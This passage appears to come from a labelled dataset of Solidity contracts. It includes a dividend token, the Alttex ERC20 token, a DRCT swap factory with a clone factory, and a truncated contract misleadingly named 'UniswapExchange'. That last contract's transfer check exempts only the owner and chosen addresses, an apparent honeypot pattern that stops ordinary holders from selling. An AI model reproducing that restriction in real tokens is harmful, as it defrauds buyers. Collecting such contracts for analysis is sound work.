uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,753 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
address public saleAgent;
address public partner;
modifier onlyAdmin() {
require(msg.sender == owner || msg.sender == saleAgent || msg.sender == partner);
_;
}
function setSaleAgent(address newSaleAgent) onlyOwner public {
require(newSaleAgent != address(0));
saleAgent = newSaleAgent;
}
function setPartner(address newPartner) onlyOwner public {
require(newPartner != address(0));
partner = newPartner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public storageTime = 1522749600;
modifier checkStorageTime() {
require(now >= storageTime);
_;
}
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
function setStorageTime(uint256 _time) public onlyOwner {
storageTime = _time;
}
function transfer(address _to, uint256 _value) public
onlyPayloadSize(2) whenNotPaused checkStorageTime returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public
onlyPayloadSize(3) whenNotPaused checkStorageTime returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
onlyPayloadSize(2) whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public
onlyPayloadSize(2)
returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public
onlyPayloadSize(2)
returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken{
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) public onlyAdmin whenNotPaused canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(this), _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is MintableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyPayloadSize(1) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
function burnFrom(address _from, uint256 _value) public
onlyPayloadSize(2)
returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
}
contract AlttexToken is BurnableToken {
string public constant name = "Alttex";
string public constant symbol = "ALTX";
uint8 public constant decimals = 8;
} | 1 | 2,994 |
pragma solidity ^0.4.24;
interface Deployer_Interface {
function newContract(address _party, address user_contract, uint _start_date) external payable returns (address);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface Factory_Interface {
function createToken(uint _supply, address _party, uint _start_date) external returns (address,address, uint);
function payToken(address _party, address _token_add) external;
function deployContract(uint _start_date) external payable returns (address);
function getBase() external view returns(address);
function getVariables() external view returns (address, uint, uint, address,uint);
function isWhitelisted(address _member) external view returns (bool);
}
library DRCTLibrary{
using SafeMath for uint256;
struct Balance {
address owner;
uint amount;
}
struct TokenStorage{
address factory_contract;
uint total_supply;
mapping(address => Balance[]) swap_balances;
mapping(address => mapping(address => uint)) swap_balances_index;
mapping(address => address[]) user_swaps;
mapping(address => mapping(address => uint)) user_swaps_index;
mapping(address => uint) user_total_balances;
mapping(address => mapping(address => uint)) allowed;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event CreateToken(address _from, uint _value);
function startToken(TokenStorage storage self,address _factory) public {
self.factory_contract = _factory;
}
function isWhitelisted(TokenStorage storage self,address _member) internal view returns(bool){
Factory_Interface _factory = Factory_Interface(self.factory_contract);
return _factory.isWhitelisted(_member);
}
function getFactoryAddress(TokenStorage storage self) external view returns(address){
return self.factory_contract;
}
function createToken(TokenStorage storage self,uint _supply, address _owner, address _swap) public{
require(msg.sender == self.factory_contract);
self.total_supply = self.total_supply.add(_supply);
self.user_total_balances[_owner] = self.user_total_balances[_owner].add(_supply);
if (self.user_swaps[_owner].length == 0)
self.user_swaps[_owner].push(address(0x0));
self.user_swaps_index[_owner][_swap] = self.user_swaps[_owner].length;
self.user_swaps[_owner].push(_swap);
self.swap_balances[_swap].push(Balance({
owner: 0,
amount: 0
}));
self.swap_balances_index[_swap][_owner] = 1;
self.swap_balances[_swap].push(Balance({
owner: _owner,
amount: _supply
}));
emit CreateToken(_owner,_supply);
}
function pay(TokenStorage storage self,address _party, address _swap) public{
require(msg.sender == self.factory_contract);
uint party_balance_index = self.swap_balances_index[_swap][_party];
require(party_balance_index > 0);
uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;
self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);
self.total_supply = self.total_supply.sub(party_swap_balance);
self.swap_balances[_swap][party_balance_index].amount = 0;
}
function balanceOf(TokenStorage storage self,address _owner) public constant returns (uint balance) {
return self.user_total_balances[_owner];
}
function totalSupply(TokenStorage storage self) public constant returns (uint _total_supply) {
return self.total_supply;
}
function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {
uint last_address_index = self.swap_balances[_swap].length.sub(1);
address last_address = self.swap_balances[_swap][last_address_index].owner;
if (last_address != _remove) {
uint remove_index = self.swap_balances_index[_swap][_remove];
self.swap_balances_index[_swap][last_address] = remove_index;
self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];
}
delete self.swap_balances_index[_swap][_remove];
self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);
}
function transferHelper(TokenStorage storage self,address _from, address _to, uint _amount) internal {
address[] memory from_swaps = self.user_swaps[_from];
for (uint i = from_swaps.length.sub(1); i > 0; i--) {
uint from_swap_user_index = self.swap_balances_index[from_swaps[i]][_from];
Balance memory from_user_bal = self.swap_balances[from_swaps[i]][from_swap_user_index];
if (_amount >= from_user_bal.amount) {
_amount -= from_user_bal.amount;
self.user_swaps[_from].length = self.user_swaps[_from].length.sub(1);
delete self.user_swaps_index[_from][from_swaps[i]];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
uint to_balance_index = self.swap_balances_index[from_swaps[i]][_to];
assert(to_balance_index != 0);
self.swap_balances[from_swaps[i]][to_balance_index].amount = self.swap_balances[from_swaps[i]][to_balance_index].amount.add(from_user_bal.amount);
removeFromSwapBalances(self,_from, from_swaps[i]);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances[from_swaps[i]][from_swap_user_index].owner = _to;
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances_index[from_swaps[i]][_from];
delete self.swap_balances_index[from_swaps[i]][_from];
}
if (_amount == 0)
break;
} else {
uint to_swap_balance_index = self.swap_balances_index[from_swaps[i]][_to];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
self.swap_balances[from_swaps[i]][to_swap_balance_index].amount = self.swap_balances[from_swaps[i]][to_swap_balance_index].amount.add(_amount);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances[from_swaps[i]].length;
self.swap_balances[from_swaps[i]].push(Balance({
owner: _to,
amount: _amount
}));
}
self.swap_balances[from_swaps[i]][from_swap_user_index].amount = self.swap_balances[from_swaps[i]][from_swap_user_index].amount.sub(_amount);
break;
}
}
}
function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[msg.sender];
if (
_to == msg.sender ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount
) return false;
transferHelper(self,msg.sender, _to, _amount);
self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[_from];
uint sender_allowed = self.allowed[_from][msg.sender];
if (
_to == _from ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount ||
sender_allowed < _amount
) return false;
transferHelper(self,_from, _to, _amount);
self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _amount) public returns (bool) {
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function addressCount(TokenStorage storage self, address _swap) public constant returns (uint) {
return self.swap_balances[_swap].length;
}
function getBalanceAndHolderByIndex(TokenStorage storage self, uint _ind, address _swap) public constant returns (uint, address) {
return (self.swap_balances[_swap][_ind].amount, self.swap_balances[_swap][_ind].owner);
}
function getIndexByAddress(TokenStorage storage self, address _owner, address _swap) public constant returns (uint) {
return self.swap_balances_index[_swap][_owner];
}
function allowance(TokenStorage storage self, address _owner, address _spender) public constant returns (uint) {
return self.allowed[_owner][_spender];
}
}
contract DRCT_Token {
using DRCTLibrary for DRCTLibrary.TokenStorage;
DRCTLibrary.TokenStorage public drct;
constructor() public {
drct.startToken(msg.sender);
}
function createToken(uint _supply, address _owner, address _swap) public{
drct.createToken(_supply,_owner,_swap);
}
function getFactoryAddress() external view returns(address){
return drct.getFactoryAddress();
}
function pay(address _party, address _swap) public{
drct.pay(_party,_swap);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return drct.balanceOf(_owner);
}
function totalSupply() public constant returns (uint _total_supply) {
return drct.totalSupply();
}
function transfer(address _to, uint _amount) public returns (bool) {
return drct.transfer(_to,_amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
return drct.transferFrom(_from,_to,_amount);
}
function approve(address _spender, uint _amount) public returns (bool) {
return drct.approve(_spender,_amount);
}
function addressCount(address _swap) public constant returns (uint) {
return drct.addressCount(_swap);
}
function getBalanceAndHolderByIndex(uint _ind, address _swap) public constant returns (uint, address) {
return drct.getBalanceAndHolderByIndex(_ind,_swap);
}
function getIndexByAddress(address _owner, address _swap) public constant returns (uint) {
return drct.getIndexByAddress(_owner,_swap);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return drct.allowance(_owner,_spender);
}
}
interface Wrapped_Ether_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
function withdraw(uint _value) external;
function createToken() external;
}
interface Membership_Interface {
function getMembershipType(address _member) external constant returns(uint);
}
contract Factory {
using SafeMath for uint256;
address public owner;
address public oracle_address;
address public user_contract;
address internal deployer_address;
Deployer_Interface internal deployer;
address public token;
uint public fee;
uint public swapFee;
uint public duration;
uint public multiplier;
uint public token_ratio;
address[] public contracts;
uint[] public startDates;
address public memberContract;
mapping(uint => bool) whitelistedTypes;
mapping(address => uint) public created_contracts;
mapping(address => uint) public token_dates;
mapping(uint => address) public long_tokens;
mapping(uint => address) public short_tokens;
mapping(address => uint) public token_type;
event ContractCreation(address _sender, address _created);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function init(address _owner) public{
require(owner == address(0));
owner = _owner;
}
function setMemberContract(address _memberContract) public onlyOwner() {
memberContract = _memberContract;
}
function setWhitelistedMemberTypes(uint[] _memberTypes) public onlyOwner(){
whitelistedTypes[0] = false;
for(uint i = 0; i<_memberTypes.length;i++){
whitelistedTypes[_memberTypes[i]] = true;
}
}
function isWhitelisted(address _member) public view returns (bool){
Membership_Interface Member = Membership_Interface(memberContract);
return whitelistedTypes[Member.getMembershipType(_member)];
}
function getTokens(uint _date) public view returns(address, address){
return(long_tokens[_date],short_tokens[_date]);
}
function getTokenType(address _token) public view returns(uint){
return(token_type[_token]);
}
function setFee(uint _fee) public onlyOwner() {
fee = _fee;
}
function setSwapFee(uint _swapFee) public onlyOwner() {
swapFee = _swapFee;
}
function setDeployer(address _deployer) public onlyOwner() {
deployer_address = _deployer;
deployer = Deployer_Interface(_deployer);
}
function setUserContract(address _userContract) public onlyOwner() {
user_contract = _userContract;
}
function setVariables(uint _token_ratio, uint _duration, uint _multiplier, uint _swapFee) public onlyOwner() {
require(_swapFee < 10000);
token_ratio = _token_ratio;
duration = _duration;
multiplier = _multiplier;
swapFee = _swapFee;
}
function setBaseToken(address _token) public onlyOwner() {
token = _token;
}
function deployContract(uint _start_date) public payable returns (address) {
require(msg.value >= fee && isWhitelisted(msg.sender));
require(_start_date % 86400 == 0);
address new_contract = deployer.newContract(msg.sender, user_contract, _start_date);
contracts.push(new_contract);
created_contracts[new_contract] = _start_date;
emit ContractCreation(msg.sender,new_contract);
return new_contract;
}
function deployTokenContract(uint _start_date) public{
address _token;
require(_start_date % 86400 == 0);
require(long_tokens[_start_date] == address(0) && short_tokens[_start_date] == address(0));
_token = new DRCT_Token();
token_dates[_token] = _start_date;
long_tokens[_start_date] = _token;
token_type[_token]=2;
_token = new DRCT_Token();
token_type[_token]=1;
short_tokens[_start_date] = _token;
token_dates[_token] = _start_date;
startDates.push(_start_date);
}
function createToken(uint _supply, address _party, uint _start_date) public returns (address, address, uint) {
require(created_contracts[msg.sender] == _start_date);
address ltoken = long_tokens[_start_date];
address stoken = short_tokens[_start_date];
require(ltoken != address(0) && stoken != address(0));
DRCT_Token drct_interface = DRCT_Token(ltoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
drct_interface = DRCT_Token(stoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
return (ltoken, stoken, token_ratio);
}
function setOracleAddress(address _new_oracle_address) public onlyOwner() {
oracle_address = _new_oracle_address;
}
function setOwner(address _new_owner) public onlyOwner() {
owner = _new_owner;
}
function withdrawFees() public onlyOwner(){
Wrapped_Ether_Interface token_interface = Wrapped_Ether_Interface(token);
uint _val = token_interface.balanceOf(address(this));
if(_val > 0){
token_interface.withdraw(_val);
}
owner.transfer(address(this).balance);
}
function() public payable {
}
function getVariables() public view returns (address, uint, uint, address,uint){
return (oracle_address,duration, multiplier, token,swapFee);
}
function payToken(address _party, address _token_add) public {
require(created_contracts[msg.sender] > 0);
DRCT_Token drct_interface = DRCT_Token(_token_add);
drct_interface.pay(_party, msg.sender);
}
function getCount() public constant returns(uint) {
return contracts.length;
}
function getDateCount() public constant returns(uint) {
return startDates.length;
}
}
contract CloneFactory {
address internal owner;
event CloneCreated(address indexed target, address clone);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner(){
owner = _owner;
}
function createClone(address target) internal returns (address result) {
bytes memory clone = hex"600034603b57603080600f833981f36000368180378080368173bebebebebebebebebebebebebebebebebebebebe5af43d82803e15602c573d90f35b3d90fd";
bytes20 targetBytes = bytes20(target);
for (uint i = 0; i < 20; i++) {
clone[26 + i] = targetBytes[i];
}
assembly {
let len := mload(clone)
let data := add(clone, 0x20)
result := create(0, data, len)
}
}
}
contract MasterDeployer is CloneFactory{
using SafeMath for uint256;
address[] factory_contracts;
address private factory;
mapping(address => uint) public factory_index;
event NewFactory(address _factory);
constructor() public {
factory_contracts.push(address(0));
}
function setFactory(address _factory) public onlyOwner(){
factory = _factory;
}
function deployFactory() public onlyOwner() returns(address){
address _new_fac = createClone(factory);
factory_index[_new_fac] = factory_contracts.length;
factory_contracts.push(_new_fac);
Factory(_new_fac).init(msg.sender);
emit NewFactory(_new_fac);
return _new_fac;
}
function removeFactory(address _factory) public onlyOwner(){
require(_factory != address(0) && factory_index[_factory] != 0);
uint256 fIndex = factory_index[_factory];
uint256 lastFactoryIndex = factory_contracts.length.sub(1);
address lastFactory = factory_contracts[lastFactoryIndex];
factory_contracts[fIndex] = lastFactory;
factory_index[lastFactory] = fIndex;
factory_contracts.length--;
factory_index[_factory] = 0;
}
function getFactoryCount() public constant returns(uint){
return factory_contracts.length - 1;
}
function getFactorybyIndex(uint _index) public constant returns(address){
return factory_contracts[_index];
}
} | 1 | 2,536 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
